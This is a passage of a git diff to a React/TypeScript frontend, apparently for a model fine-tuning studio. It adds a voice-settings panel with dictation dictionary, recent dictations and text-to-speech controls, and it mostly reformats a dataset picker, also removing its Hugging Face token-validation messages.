+            <Button
+              variant="ghost"
+              size="icon"
+              className="size-8 shrink-0 text-muted-foreground hover:text-destructive"
+              data-dict-remove={index}
+              // Mouse: keep the click from blurring an empty input first, which
+              // would commit-splice this row and make onClick delete the next.
+              onMouseDown={(e) => e.preventDefault()}
+              onClick={() => removeDictionaryEntry(index)}
+              aria-label={`Remove dictionary entry ${index + 1}`}
+            >
+              <HugeiconsIcon icon={Delete02Icon} className="size-3.5" />
+            </Button>
+          </div>
+        ))}
+        <div className="flex items-center gap-2 py-1.5">
+          <Input
+            value={newEntry}
+            onChange={(e) => setNewEntry(e.target.value)}
+            onKeyDown={(e) => {
+              if (e.key === "Enter") {
+                e.preventDefault();
+                handleAddEntry();
+              }
+            }}
+            placeholder="Jane Doe"
+            className="h-8 flex-1 text-sm"
+            aria-label="New dictionary entry"
+          />
+          <Button
+            variant="outline"
+            size="sm"
+            className="shrink-0"
+            onClick={handleAddEntry}
+            disabled={!newEntry.trim()}
+          >
+            <HugeiconsIcon icon={PlusSignIcon} className="mr-1.5 size-3.5" />
+            {t("settings.voice.dictionary.addEntry")}
+          </Button>
+        </div>
+      </SettingsSection>
+
+      <SettingsSection
+        title={t("settings.voice.recents.sectionTitle")}
+        description={t("settings.voice.recents.sectionDescription")}
+      >
+        {recentDictations.length === 0 ? (
+          <p className="py-3 text-sm text-muted-foreground">
+            {t("settings.voice.recents.empty")}
+          </p>
+        ) : (
+          <>
+            {recentDictations.map((item) => (
+              <div
+                key={`${item.at}-${item.text.slice(0, 24)}`}
+                className="flex items-start justify-between gap-3 py-2.5"
+              >
+                <div className="min-w-0 flex-1">
+                  <p className="whitespace-pre-wrap break-words text-sm text-foreground">
+                    {item.text}
+                  </p>
+                  <p className="mt-0.5 text-xs text-muted-foreground">
+                    {new Date(item.at).toLocaleString()}
+                  </p>
+                </div>
+                <Button
+                  variant="ghost"
+                  size="icon"
+                  className="size-8 shrink-0 text-muted-foreground"
+                  aria-label="Copy dictation"
+                  onClick={async () => {
+                    // Helper falls back to execCommand where navigator.clipboard
+                    // is unavailable (Safari, insecure http LAN contexts).
+                    if (await copyToClipboard(item.text)) {
+                      toast.success(t("settings.voice.recents.copied"));
+                    } else {
+                      toast.error(t("settings.voice.recents.copyFailed"));
+                    }
+                  }}
+                >
+                  <HugeiconsIcon icon={Copy01Icon} className="size-3.5" />
+                </Button>
+              </div>
+            ))}
+            <div className="flex justify-end py-2">
+              <Button
+                variant="outline"
+                size="sm"
+                onClick={clearRecentDictations}
+                className="text-destructive hover:text-destructive hover:border-destructive/60"
+              >
+                <HugeiconsIcon
+                  icon={Delete02Icon}
+                  className="mr-1.5 size-3.5"
+                />
+                {t("settings.voice.recents.clear")}
+              </Button>
+            </div>
+          </>
+        )}
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.voice.readAloud.sectionTitle")}>
+        {ttsSupported ? (
+          <>
+            <SettingsRow
+              label={t("settings.voice.readAloud.buttonLabel")}
+              description={t("settings.voice.readAloud.buttonDescription")}
+            >
+              <Switch checked={ttsEnabled} onCheckedChange={setTtsEnabled} />
+            </SettingsRow>
+
+            <SettingsRow
+              label={t("settings.voice.readAloud.engineLabel")}
+              description={
+                effectiveTtsEngine === "studio"
+                  ? t("settings.voice.readAloud.engineStudioDescription")
+                  : t("settings.voice.readAloud.engineSystemDescription")
+              }
+            >
+              <Select
+                value={effectiveTtsEngine}
+                onValueChange={(value) =>
+                  setTtsEngine(value === "studio" ? "studio" : "system")
+                }
+              >
+                <SelectTrigger
+                  aria-label="TTS engine"
+                  className="w-56"
+                  size="sm"
+                >
+                  <SelectValue />
+                </SelectTrigger>
+                <SelectContent>
+                  {systemTtsSupported ? (
+                    <SelectItem value="system">
+                      {t("settings.voice.readAloud.engineSystem")}
+                    </SelectItem>
+                  ) : null}
+                  <SelectItem value="studio">
+                    {t("settings.voice.readAloud.engineStudio")}
+                  </SelectItem>
+                </SelectContent>
+              </Select>
+            </SettingsRow>
+
+            {effectiveTtsEngine === "studio" ? (
+              <SettingsRow
+                label={t("settings.voice.readAloud.modelLabel")}
+                description={t("settings.voice.readAloud.modelDescription")}
+              />
+            ) : (
+              <SettingsRow
+                label={t("settings.voice.readAloud.voiceLabel")}
+                description={t("settings.voice.readAloud.voiceDescription")}
+              >
+                <Select value={ttsVoiceURI} onValueChange={setTtsVoiceURI}>
+                  <SelectTrigger
+                    aria-label="Text to speech voice"
+                    className="w-56"
+                    size="sm"
+                  >
+                    <SelectValue />
+                  </SelectTrigger>
+                  <SelectContent className="max-h-72">
+                    <SelectItem value="default">
+                      {t("settings.voice.dictation.systemDefault")}
+                    </SelectItem>
+                    {voices.map((voice) => (
+                      <SelectItem key={voice.voiceURI} value={voice.voiceURI}>
+                        {voice.name} ({voice.lang})
+                      </SelectItem>
+                    ))}
+                  </SelectContent>
+                </Select>
+              </SettingsRow>
+            )}
+
+            <SettingsRow
+              label={t("settings.voice.readAloud.speedLabel")}
+              description={`${ttsRate.toFixed(2)}x`}
+            >
+              <Slider
+                value={[ttsRate]}
+                min={0.5}
+                max={2}
+                step={0.05}
+                onValueChange={([v]) => v !== undefined && setTtsRate(v)}
+                className="w-48"
+                aria-label="Speaking rate"
+              />
+            </SettingsRow>
+
+            {effectiveTtsEngine === "system" && (
+              <SettingsRow
+                label={t("settings.voice.readAloud.pitchLabel")}
+                description={`${ttsPitch.toFixed(2)}`}
+              >
+                <Slider
+                  value={[ttsPitch]}
+                  min={0}
+                  max={2}
+                  step={0.05}
+                  onValueChange={([v]) => v !== undefined && setTtsPitch(v)}
+                  className="w-48"
+                  aria-label="Voice pitch"
+                />
+              </SettingsRow>
+            )}
+
+            <SettingsRow
+              label={t("settings.voice.readAloud.volumeLabel")}
+              description={`${Math.round(ttsVolume * 100)}%`}
+            >
+              <Slider
+                value={[ttsVolume]}
+                min={0}
+                max={1}
+                step={0.05}
+                onValueChange={([v]) => v !== undefined && setTtsVolume(v)}
+                className="w-48"
+                aria-label="Playback volume"
+              />
+            </SettingsRow>
+
+            <SettingsRow
+              label={t("settings.voice.readAloud.previewLabel")}
+              description={t("settings.voice.readAloud.previewDescription")}
+            >
+              <Button
+                variant="outline"
+                size="sm"
+                onClick={() => void previewTts()}
+              >
+                {previewing ? (
+                  <>
+                    <SquareIcon className="mr-1.5 size-3 animate-pulse fill-current text-destructive" />
+                    {t("settings.voice.readAloud.stopAction")}
+                  </>
+                ) : (
+                  <>
+                    <HugeiconsIcon
+                      icon={VolumeHighIcon}
+                      className="mr-1.5 size-3.5"
+                    />
+                    {t("settings.voice.readAloud.previewAction")}
+                  </>
+                )}
+              </Button>
+            </SettingsRow>
+          </>
+        ) : (
+          <SettingsRow
+            label={t("settings.voice.readAloud.ttsLabel")}
+            description={t("settings.voice.readAloud.notSupported")}
+          />
+        )}
+      </SettingsSection>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/studio/sections/dataset-section.tsx b/studio/frontend/src/features/studio/sections/dataset-section.tsx
index 285644c5d4..e7bab1f47f 100644
--- a/studio/frontend/src/features/studio/sections/dataset-section.tsx
+++ b/studio/frontend/src/features/studio/sections/dataset-section.tsx
@@ -28,29 +28,38 @@ import {
 } from "@/components/ui/select";
 import { Spinner } from "@/components/ui/spinner";
 import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
-import { cn } from "@/lib/utils";
 import {
   Tooltip,
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
-import { useDebouncedValue, useHfTokenValidation } from "@/hooks";
+import { usePlatformStore } from "@/config/env";
 import { useHubDatasetSearch } from "@/features/hub/hooks/use-hub-dataset-search";
 import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
+import {
+  formatUploadSize,
+  getCachedUploadLimitBytes,
+  getCachedUploadLimitLabel,
+  loadUploadLimitSettings,
+  subscribeUploadLimitSettings,
+} from "@/features/settings/api/upload-limit";
 import {
   HfDatasetSubsetSplitSelectors,
+  type LocalDatasetInfo,
   listLocalDatasets,
   uploadTrainingDataset,
   useDatasetPreviewDialogStore,
   useTrainingConfigStore,
-  type LocalDatasetInfo,
 } from "@/features/training";
 // Imported directly from the store module rather than the "@/features/training"
 // barrel to avoid an import cycle (the barrel re-exports this section's siblings).
 import { hasSeparateStreamingEvalSplit } from "@/features/training/stores/training-config-store";
-import { useNavigate } from "@tanstack/react-router";
+import { useDebouncedValue } from "@/hooks";
+import { translate, useT } from "@/i18n";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { toast } from "@/lib/toast";
+import { cn } from "@/lib/utils";
 import {
-  ArrowDown01Icon,
   Cancel01Icon,
   CloudUploadIcon,
   Database02Icon,
@@ -60,6 +69,7 @@ import {
   ViewIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
+import { useNavigate } from "@tanstack/react-router";
 import {
   type ChangeEvent,
   type DragEvent,
@@ -69,19 +79,9 @@ import {
   useRef,
   useState,
 } from "react";
-import { toast } from "@/lib/toast";
-import {
-  formatUploadSize,
-  getCachedUploadLimitBytes,
-  getCachedUploadLimitLabel,
-  loadUploadLimitSettings,
-  subscribeUploadLimitSettings,
-} from "@/features/settings/api/upload-limit";
 import { useShallow } from "zustand/react/shallow";
 import { DocumentUploadRedirectDialog } from "./document-upload-redirect-dialog";
-import { translate, useT } from "@/i18n";
 import { S3ConfigForm } from "./s3-config-form";
-import { usePlatformStore } from "@/config/env";
 
 const TRAINING_UPLOAD_EXTENSIONS = [
   ".csv",
@@ -242,7 +242,13 @@ export function DatasetSection() {
     );
   if (trainOnCompletions)
     streamingBlockers.push('Turn off "Assistant completions only".');
-  if (!hasSeparateStreamingEvalSplit({ evalSteps, datasetSplit, datasetEvalSplit }))
+  if (
+    !hasSeparateStreamingEvalSplit({
+      evalSteps,
+      datasetSplit,
+      datasetEvalSplit,
+    })
+  )
     streamingBlockers.push(
       "Pick a separate eval split — evaluation is on but no distinct eval split is set.",
     );
@@ -255,9 +261,13 @@ export function DatasetSection() {
       "Embedding models don't support streaming (training needs the full dataset).",
     );
   if (isDatasetImage)
-    streamingBlockers.push("This dataset looks like images, which can't stream.");
+    streamingBlockers.push(
+      "This dataset looks like images, which can't stream.",
+    );
   if (isDatasetAudio)
-    streamingBlockers.push("This dataset looks like audio, which can't stream.");
+    streamingBlockers.push(
+      "This dataset looks like audio, which can't stream.",
+    );
   if (platformDeviceType === "mac")
     streamingBlockers.push(
       "Streaming isn't supported on Apple Silicon (MLX) yet.",
@@ -388,9 +398,6 @@ export function DatasetSection() {
     enabled: pickerTab === "huggingface",
   });
 
-  const { error: tokenValidationError, isChecking: isCheckingToken } =
-    useHfTokenValidation(hfToken);
-
   const hfResultIds = useMemo(() => {
     const ids = hfResults.map((r) => r.id);
     if (dataset && !ids.includes(dataset)) {
@@ -491,12 +498,16 @@ export function DatasetSection() {
   const comboboxAnchorRef = useRef<HTMLDivElement>(null);
   const fileInputRef = useRef<HTMLInputElement>(null);
   const evalFileInputRef = useRef<HTMLInputElement>(null);
-  const { scrollRef, sentinelRef } = useHubInfiniteScroll(fetchMore, scannedCount, {
-    enabled: pickerTab === "huggingface",
-    isFetching: isLoading || isLoadingMore,
-    resultCount: hfResults.length,
-    resetKey: debouncedQuery,
-  });
+  const { scrollRef, sentinelRef } = useHubInfiniteScroll(
+    fetchMore,
+    scannedCount,
+    {
+      enabled: pickerTab === "huggingface",
+      isFetching: isLoading || isLoadingMore,
+      resultCount: hfResults.length,
+      resetKey: debouncedQuery,
+    },
+  );
 
   const [isUploading, setIsUploading] = useState(false);
   const [isDatasetDragOver, setIsDatasetDragOver] = useState(false);
@@ -519,9 +530,11 @@ export function DatasetSection() {
       setUploadLimitLabel(settings.maxUploadSizeLabel);
     };
     const unsubscribe = subscribeUploadLimitSettings(applyLimit);
-    void loadUploadLimitSettings().then((settings) => {
-      if (!cancelled) applyLimit(settings);
-    }).catch(() => {});
+    void loadUploadLimitSettings()
+      .then((settings) => {
+        if (!cancelled) applyLimit(settings);
+      })
+      .catch(() => {});
     return () => {
       cancelled = true;
       unsubscribe();
@@ -568,7 +581,10 @@ export function DatasetSection() {
       toast.success(successMessage, { description: uploaded.filename });
     } catch (error) {
       toast.error(t("studio.dataset.uploadFailed"), {
-        description: error instanceof Error ? error.message : t("studio.dataset.unknownError"),
+        description:
+          error instanceof Error
+            ? error.message
+            : t("studio.dataset.unknownError"),
       });
     } finally {
       setIsUploading(false);
@@ -592,7 +608,11 @@ export function DatasetSection() {
       return;
     }
 
-    await handleFileUpload(file, selectLocalDataset, t("studio.dataset.datasetUploaded"));
+    await handleFileUpload(
+      file,
+      selectLocalDataset,
+      t("studio.dataset.datasetUploaded"),
+    );
   };
 
   const handleDatasetFileChange = async (
@@ -640,7 +660,11 @@ export function DatasetSection() {
     event.target.value = "";
     if (!file) return;
 
-    await handleFileUpload(file, setUploadedEvalFile, t("studio.dataset.evalDatasetUploaded"));
+    await handleFileUpload(
+      file,
+      setUploadedEvalFile,
+      t("studio.dataset.evalDatasetUploaded"),
+    );
   };
 
   const handleOpenLearningRecipes = useCallback(() => {
@@ -656,11 +680,7 @@ export function DatasetSection() {
         title={t("studio.dataset.title")}
         description={t("studio.dataset.description")}
         accent="indigo"
-        className={`dark:shadow-border ${
-          advancedOpen || (datasetSource === "upload" && uploadedFile)
-            ? "min-h-studio-config-column"
-            : "h-studio-config-column"
-        }`}
+        className="dark:shadow-border min-h-studio-config-column"
       >
         <div className="flex min-w-0 flex-col gap-4">
           {(() => {
@@ -672,9 +692,9 @@ export function DatasetSection() {
             }[] = [
               { value: "huggingface", label: "Hugging Face" },
               { value: "upload", label: t("studio.dataset.localTab") },
-              ...(!isMultimodalModel
-                ? [{ value: "s3" as const, label: "Amazon S3" }]
-                : []),
+              ...(isMultimodalModel
+                ? []
+                : [{ value: "s3" as const, label: "Amazon S3" }]),
             ];
             const activeIndex = Math.max(
               0,
@@ -728,355 +748,370 @@ export function DatasetSection() {
           {datasetSource === "s3" && <S3ConfigForm />}
 
           {datasetSource !== "s3" && (
-          <div className="flex min-w-0 flex-col gap-2">
-            <span className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
-              {t("studio.dataset.chooseDataset")}
-              <span className="rounded-full border border-border/70 bg-muted/40 px-2 py-0.5 text-[10px] font-medium text-foreground/80">
-                {datasetSource === "upload" ? t("studio.dataset.localTab") : "Hugging Face"}
+            <div className="flex min-w-0 flex-col gap-2">
+              <span className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
+                {t("studio.dataset.chooseDataset")}
+                <span className="rounded-full border border-border/70 bg-muted/40 px-2 py-0.5 text-[10px] font-medium text-foreground/80">
+                  {datasetSource === "upload"
+                    ? t("studio.dataset.localTab")
+                    : "Hugging Face"}
+                </span>
+                <Tooltip>
+                  <TooltipTrigger asChild={true}>
+                    <button
+                      type="button"
+                      className="text-foreground/70 hover:text-foreground"
+                    >
+                      <HugeiconsIcon
+                        icon={InformationCircleIcon}
+                        className="size-3"
+                      />
+                    </button>
+                  </TooltipTrigger>
+                  <TooltipContent>
+                    {t("studio.dataset.chooseDatasetTooltip")}{" "}
+                    <a
+                      href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/datasets-guide"
+                      target="_blank"
+                      rel="noopener noreferrer"
+                      className="text-primary underline"
+                    >
+                      {t("studio.params.readMore")}
+                    </a>
+                  </TooltipContent>
+                </Tooltip>
               </span>
-              <Tooltip>
-                <TooltipTrigger asChild={true}>
-                  <button
-                    type="button"
-                    className="text-foreground/70 hover:text-foreground"
+              <div
+                ref={comboboxAnchorRef}
+                className="min-w-0"
+                onKeyDown={(event) => {
+                  if (event.key !== "Enter") return;
+                  if (!(event.target instanceof HTMLInputElement)) return;
+                  event.preventDefault();
+                  if (pickerTab === "huggingface") {
+                    if (hfResults.length > 0) {
+                      handleDatasetSelect(hfResults[0].id);
+                    } else {
+                      const text = event.target.value.trim();
+                      if (text) handleDatasetSelect(text);
+                    }
+                    return;
+                  }
+
+                  if (localResultIds.length > 0) {
+                    const selectedId = localResultIds[0];
+                    const path = localPathById.get(selectedId);
+                    if (path) {
+                      handleLocalDatasetSelect(path);
+                    }
+                  }
+                }}
+              >
+                <Combobox
+                  items={comboboxItems}
+                  filteredItems={comboboxItems}
+                  filter={null}
+                  value={comboboxValue}
+                  onOpenChange={(open) => {
+                    setSearchQuery("");
+                    if (
+                      open &&
+                      (pickerTab === "local" || activeSourceTab === "local")
+                    ) {
+                      void refreshLocalDatasets();
+                    }
+                    if (!open) {
+                      setPickerTab(
+                        pendingSourceTabRef.current ?? activeSourceTab,
+                      );
+                      pendingSourceTabRef.current = null;
+                    }
+                  }}
+                  onValueChange={(value) => {
+                    if (!value) {
+                      clearSelectionForTab(pickerTab);
+                      return;
+                    }
+                    if (pickerTab === "huggingface") {
+                      handleDatasetSelect(value);
+                      return;
+                    }
+                    const path = localPathById.get(value);
+                    if (path) {
+                      handleLocalDatasetSelect(path);
+                    }
+                  }}
+                  onInputValueChange={(value, eventDetails) =>
+                    handleInputChange(value, eventDetails)
+                  }
+                  itemToStringValue={(id) =>
+                    pickerTab === "local" ? (localLabelById.get(id) ?? id) : id
+                  }
+                  autoHighlight={true}
+                >
+                  <ComboboxInput
+                    placeholder={
+                      pickerTab === "huggingface"
+                        ? t("studio.dataset.searchHuggingFaceDatasets")
+                        : t("studio.dataset.searchLocalDatasets")
+                    }
+                    className="w-full min-w-0 overflow-hidden leading-5"
+                    showClear={true}
                   >
-                    <HugeiconsIcon
-                      icon={InformationCircleIcon}
-                      className="size-3"
-                    />
-                  </button>
-                </TooltipTrigger>
-                <TooltipContent>
-                  {t("studio.dataset.chooseDatasetTooltip")}{" "}
+                    <InputGroupAddon>
+                      <HugeiconsIcon icon={Search01Icon} className="size-4" />
+                    </InputGroupAddon>
+                  </ComboboxInput>
+                  <ComboboxContent anchor={comboboxAnchorRef}>
+                    <div className="px-2 pt-2 pb-2">
+                      <Tabs
+                        value={pickerTab}
+                        onValueChange={(value) => {
+                          setPickerTab(value as "huggingface" | "local");
+                          setSearchQuery("");
+                        }}
+                        className="w-full"
+                      >
+                        <TabsList className=" w-full">
+                          <TabsTrigger value="huggingface">
+                            Hugging Face
+                          </TabsTrigger>
+                          <TabsTrigger value="local">
+                            {t("studio.dataset.localTab")}
+                          </TabsTrigger>
+                        </TabsList>
+
+                        <TabsContent value="huggingface" className="m-0">
+                          {isLoading ? (
+                            <div className="flex items-center justify-center py-4 gap-2 text-xs text-muted-foreground">
+                              <Spinner className="size-4" />{" "}
+                              {t("studio.dataset.searching")}
+                            </div>
+                          ) : (
+                            <ComboboxEmpty>
+                              {t("studio.dataset.noDatasetsFound")}
+                            </ComboboxEmpty>
+                          )}
+                          <div
+                            ref={scrollRef}
+                            className="max-h-64 overflow-y-auto overscroll-contain [scrollbar-width:thin]"
+                          >
+                            <ComboboxList className="p-1 !max-h-none !overflow-visible">
+                              {(id: string) => {
+                                return (
+                                  <ComboboxItem
+                                    key={id}
+                                    value={id}
+                                    className="gap-2"
+                                  >
+                                    <Tooltip>
+                                      <TooltipTrigger asChild={true}>
+                                        <span className="block min-w-0 flex-1 truncate">
+                                          {id}
+                                        </span>
+                                      </TooltipTrigger>
+                                      <TooltipContent
+                                        side="left"
+                                        className="max-w-xs break-all"
+                                      >
+                                        {id}
+                                      </TooltipContent>
+                                    </Tooltip>
+                                  </ComboboxItem>
+                                );
+                              }}
+                            </ComboboxList>
+                            <div ref={sentinelRef} className="h-px" />
+                            {isLoadingMore && (
+                              <div className="flex items-center justify-center py-2">
+                                <Spinner className="size-3.5 text-muted-foreground" />
+                              </div>
+                            )}
+                          </div>
+                        </TabsContent>
+
+                        <TabsContent value="local" className="m-0">
+                          {localLoading ? (
+                            <div className="flex items-center justify-center py-4 gap-2 text-xs text-muted-foreground">
+                              <Spinner className="size-4" />{" "}
+                              {t("studio.dataset.loadingLocalDatasets")}
+                            </div>
+                          ) : (
+                            <>
+                              {localError ? (
+                                <p className="px-2 py-2 text-xs text-destructive">
+                                  {localError}
+                                </p>
+                              ) : (
+                                <ComboboxEmpty className="px-2 py-3">
+                                  <div className="flex w-full flex-col items-center gap-2 text-center">
+                                    <p className="text-xs text-muted-foreground">
+                                      {localDatasets.length === 0
+                                        ? t("studio.dataset.noLocalDatasetsYet")
+                                        : t(
+                                            "studio.dataset.noLocalDatasetsMatchSearch",
+                                          )}
+                                    </p>
+                                    {localDatasets.length === 0 ? (
+                                      <Button
+                                        asChild={true}
+                                        size="sm"
+                                        variant="outline"
+                                      >
+                                        <a href="/data-recipes">
+                                          {t("studio.dataset.openDataRecipes")}
+                                        </a>
+                                      </Button>
+                                    ) : null}
+                                  </div>
+                                </ComboboxEmpty>
+                              )}
+                              <div className="max-h-64 overflow-y-auto overscroll-contain [scrollbar-width:thin]">
+                                <ComboboxList className="p-1 !max-h-none !overflow-visible">
+                                  {(id: string) => {
+                                    const label = localLabelById.get(id) ?? id;
+                                    return (
+                                      <ComboboxItem
+                                        key={id}
+                                        value={id}
+                                        className="gap-2"
+                                      >
+                                        <Tooltip>
+                                          <TooltipTrigger asChild={true}>
+                                            <span className="block min-w-0 flex-1 truncate">
+                                              {label}
+                                            </span>
+                                          </TooltipTrigger>
+                                          <TooltipContent
+                                            side="left"
+                                            className="max-w-xs break-all"
+                                          >
+                                            {label}
+                                          </TooltipContent>
+                                        </Tooltip>
+                                      </ComboboxItem>
+                                    );
+                                  }}
+                                </ComboboxList>
+                              </div>
+                            </>
+                          )}
+                        </TabsContent>
+                      </Tabs>
+                    </div>
+                  </ComboboxContent>
+                </Combobox>
+              </div>
+              {hfSearchError && (
+                <p className="text-xs text-destructive">
+                  {hfSearchError}
+                  {" — "}
                   <a
-                    href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/datasets-guide"
+                    href="https://huggingface.co/settings/tokens"
                     target="_blank"
                     rel="noopener noreferrer"
-                    className="text-primary underline"
+                    className="underline"
                   >
-                    {t("studio.params.readMore")}
+                    {t("studio.dataset.getOrUpdateToken")}
                   </a>
-                </TooltipContent>
-              </Tooltip>
-            </span>
-            <div
-              ref={comboboxAnchorRef}
-              className="min-w-0"
-              onKeyDown={(event) => {
-                if (event.key !== "Enter") return;
-                if (!(event.target instanceof HTMLInputElement)) return;
-                event.preventDefault();
-                if (pickerTab === "huggingface") {
-                  if (hfResults.length > 0) {
-                    handleDatasetSelect(hfResults[0].id);
-                  } else {
-                    const text = event.target.value.trim();
-                    if (text) handleDatasetSelect(text);
-                  }
-                  return;
-                }
-
-                if (localResultIds.length > 0) {
-                  const selectedId = localResultIds[0];
-                  const path = localPathById.get(selectedId);
-                  if (path) {
-                    handleLocalDatasetSelect(path);
-                  }
-                }
-              }}
-            >
-              <Combobox
-                items={comboboxItems}
-                filteredItems={comboboxItems}
-                filter={null}
-                value={comboboxValue}
-                onOpenChange={(open) => {
-                  setSearchQuery("");
-                  if (
-                    open &&
-                    (pickerTab === "local" || activeSourceTab === "local")
-                  ) {
-                    void refreshLocalDatasets();
-                  }
-                  if (!open) {
-                    setPickerTab(
-                      pendingSourceTabRef.current ?? activeSourceTab,
-                    );
-                    pendingSourceTabRef.current = null;
-                  }
-                }}
-                onValueChange={(value) => {
-                  if (!value) {
-                    clearSelectionForTab(pickerTab);
-                    return;
-                  }
-                  if (pickerTab === "huggingface") {
-                    handleDatasetSelect(value);
-                    return;
-                  }
-                  const path = localPathById.get(value);
-                  if (path) {
-                    handleLocalDatasetSelect(path);
-                  }
-                }}
-                onInputValueChange={(value, eventDetails) =>
-                  handleInputChange(value, eventDetails)
-                }
-                itemToStringValue={(id) =>
-                  pickerTab === "local" ? (localLabelById.get(id) ?? id) : id
-                }
-                autoHighlight={true}
-              >
-                <ComboboxInput
-                  placeholder={
-                    pickerTab === "huggingface"
-                      ? t("studio.dataset.searchHuggingFaceDatasets")
-                      : t("studio.dataset.searchLocalDatasets")
-                  }
-                  className="w-full min-w-0 overflow-hidden leading-5"
-                  showClear={true}
-                >
-                  <InputGroupAddon>
-                    <HugeiconsIcon icon={Search01Icon} className="size-4" />
-                  </InputGroupAddon>
-                </ComboboxInput>
-                <ComboboxContent anchor={comboboxAnchorRef}>
-                  <div className="px-2 pt-2 pb-2">
-                    <Tabs
-                      value={pickerTab}
-                      onValueChange={(value) => {
-                        setPickerTab(value as "huggingface" | "local");
-                        setSearchQuery("");
-                      }}
-                      className="w-full"
-                    >
-                      <TabsList className=" w-full">
-                        <TabsTrigger value="huggingface">Hugging Face</TabsTrigger>
-                        <TabsTrigger value="local">{t("studio.dataset.localTab")}</TabsTrigger>
-                      </TabsList>
-
-                      <TabsContent value="huggingface" className="m-0">
-                        {isLoading ? (
-                          <div className="flex items-center justify-center py-4 gap-2 text-xs text-muted-foreground">
-                            <Spinner className="size-4" /> {t("studio.dataset.searching")}
-                          </div>
-                        ) : (
-                          <ComboboxEmpty>{t("studio.dataset.noDatasetsFound")}</ComboboxEmpty>
-                        )}
-                        <div
-                          ref={scrollRef}
-                          className="max-h-64 overflow-y-auto overscroll-contain [scrollbar-width:thin]"
-                        >
-                          <ComboboxList className="p-1 !max-h-none !overflow-visible">
-                            {(id: string) => {
-                              return (
-                                <ComboboxItem
-                                  key={id}
-                                  value={id}
-                                  className="gap-2"
-                                >
-                                  <Tooltip>
-                                    <TooltipTrigger asChild={true}>
-                                      <span className="block min-w-0 flex-1 truncate">
-                                        {id}
-                                      </span>
-                                    </TooltipTrigger>
-                                    <TooltipContent
-                                      side="left"
-                                      className="max-w-xs break-all"
-                                    >
-                                      {id}
-                                    </TooltipContent>
-                                  </Tooltip>
-                                </ComboboxItem>
-                              );
-                            }}
-                          </ComboboxList>
-                          <div ref={sentinelRef} className="h-px" />
-                          {isLoadingMore && (
-                            <div className="flex items-center justify-center py-2">
-                              <Spinner className="size-3.5 text-muted-foreground" />
-                            </div>
-                          )}
-                        </div>
-                      </TabsContent>
-
-                      <TabsContent value="local" className="m-0">
-                        {localLoading ? (
-                          <div className="flex items-center justify-center py-4 gap-2 text-xs text-muted-foreground">
-                            <Spinner className="size-4" /> {t("studio.dataset.loadingLocalDatasets")}
-                          </div>
-                        ) : (
-                          <>
-                            {localError ? (
-                              <p className="px-2 py-2 text-xs text-destructive">
-                                {localError}
-                              </p>
-                            ) : (
-                              <ComboboxEmpty className="px-2 py-3">
-                                <div className="flex w-full flex-col items-center gap-2 text-center">
-                                  <p className="text-xs text-muted-foreground">
-                                    {localDatasets.length === 0
-                                      ? t("studio.dataset.noLocalDatasetsYet")
-                                      : t("studio.dataset.noLocalDatasetsMatchSearch")}
-                                  </p>
-                                  {localDatasets.length === 0 ? (
-                                    <Button asChild={true} size="sm" variant="outline">
-                                      <a href="/data-recipes">{t("studio.dataset.openDataRecipes")}</a>
-                                    </Button>
-                                  ) : null}
-                                </div>
-                              </ComboboxEmpty>
-                            )}
-                            <div className="max-h-64 overflow-y-auto overscroll-contain [scrollbar-width:thin]">
-                              <ComboboxList className="p-1 !max-h-none !overflow-visible">
-                                {(id: string) => {
-                                  const label = localLabelById.get(id) ?? id;
-                                  return (
-                                    <ComboboxItem
-                                      key={id}
-                                      value={id}
-                                      className="gap-2"
-                                    >
-                                      <Tooltip>
-                                        <TooltipTrigger asChild={true}>
-                                          <span className="block min-w-0 flex-1 truncate">
-                                            {label}
-                                          </span>
-                                        </TooltipTrigger>
-                                        <TooltipContent
-                                          side="left"
-                                          className="max-w-xs break-all"
-                                        >
-                                          {label}
-                                        </TooltipContent>
-                                      </Tooltip>
-                                    </ComboboxItem>
-                                  );
-                                }}
-                              </ComboboxList>
-                            </div>
-                          </>
-                        )}
-                      </TabsContent>
-                    </Tabs>
-                  </div>
-                </ComboboxContent>
-              </Combobox>
+                </p>
+              )}
+              {pickerTab !== activeSourceTab && (
+                <p className="text-[11px] text-muted-foreground">
+                  {t("studio.dataset.browsingSource", {
+                    browsing:
+                      pickerTab === "local"
+                        ? t("studio.dataset.localDatasets")
+                        : "Hugging Face",
+                    current:
+                      datasetSource === "upload"
+                        ? t("studio.dataset.localTab")
+                        : "Hugging Face",
+                  })}
+                </p>
+              )}
             </div>
-            {(tokenValidationError ?? hfSearchError) && (
-              <p className="text-xs text-destructive">
-                {tokenValidationError ?? hfSearchError}
-                {" — "}
-                <a
-                  href="https://huggingface.co/settings/tokens"
-                  target="_blank"
-                  rel="noopener noreferrer"
-                  className="underline"
-                >
-                  {t("studio.dataset.getOrUpdateToken")}
-                </a>
-              </p>
-            )}
-            {isCheckingToken && (
-              <p className="text-xs text-muted-foreground">
-                {t("studio.dataset.checkingToken")}
-              </p>
-            )}
-            {pickerTab !== activeSourceTab && (
-              <p className="text-[11px] text-muted-foreground">
-                {t("studio.dataset.browsingSource", {
-                  browsing:
-                    pickerTab === "local"
-                      ? t("studio.dataset.localDatasets")
-                      : "Hugging Face",
-                  current:
-                    datasetSource === "upload"
-                      ? t("studio.dataset.localTab")
-                      : "Hugging Face",
-                })}
-              </p>
-            )}
-          </div>
           )}
 
           {datasetSource !== "s3" &&
             (isHfDatasetSelected ? (
-            <HfDatasetSubsetSplitSelectors
-              variant="studio"
-              enabled={true}
-              datasetName={dataset}
-              accessToken={hfToken || undefined}
-              datasetSubset={datasetSubset}
-              setDatasetSubset={setDatasetSubset}
-              datasetSplit={datasetSplit}
-              setDatasetSplit={setDatasetSplit}
-              datasetEvalSplit={datasetEvalSplit}
-              setDatasetEvalSplit={setDatasetEvalSplit}
-            />
-          ) : !selectedDatasetName ? (
-            <HfDatasetSubsetSplitSelectors
-              variant="studio"
-              enabled={false}
-              datasetName={null}
-              accessToken={hfToken || undefined}
-              datasetSubset={datasetSubset}
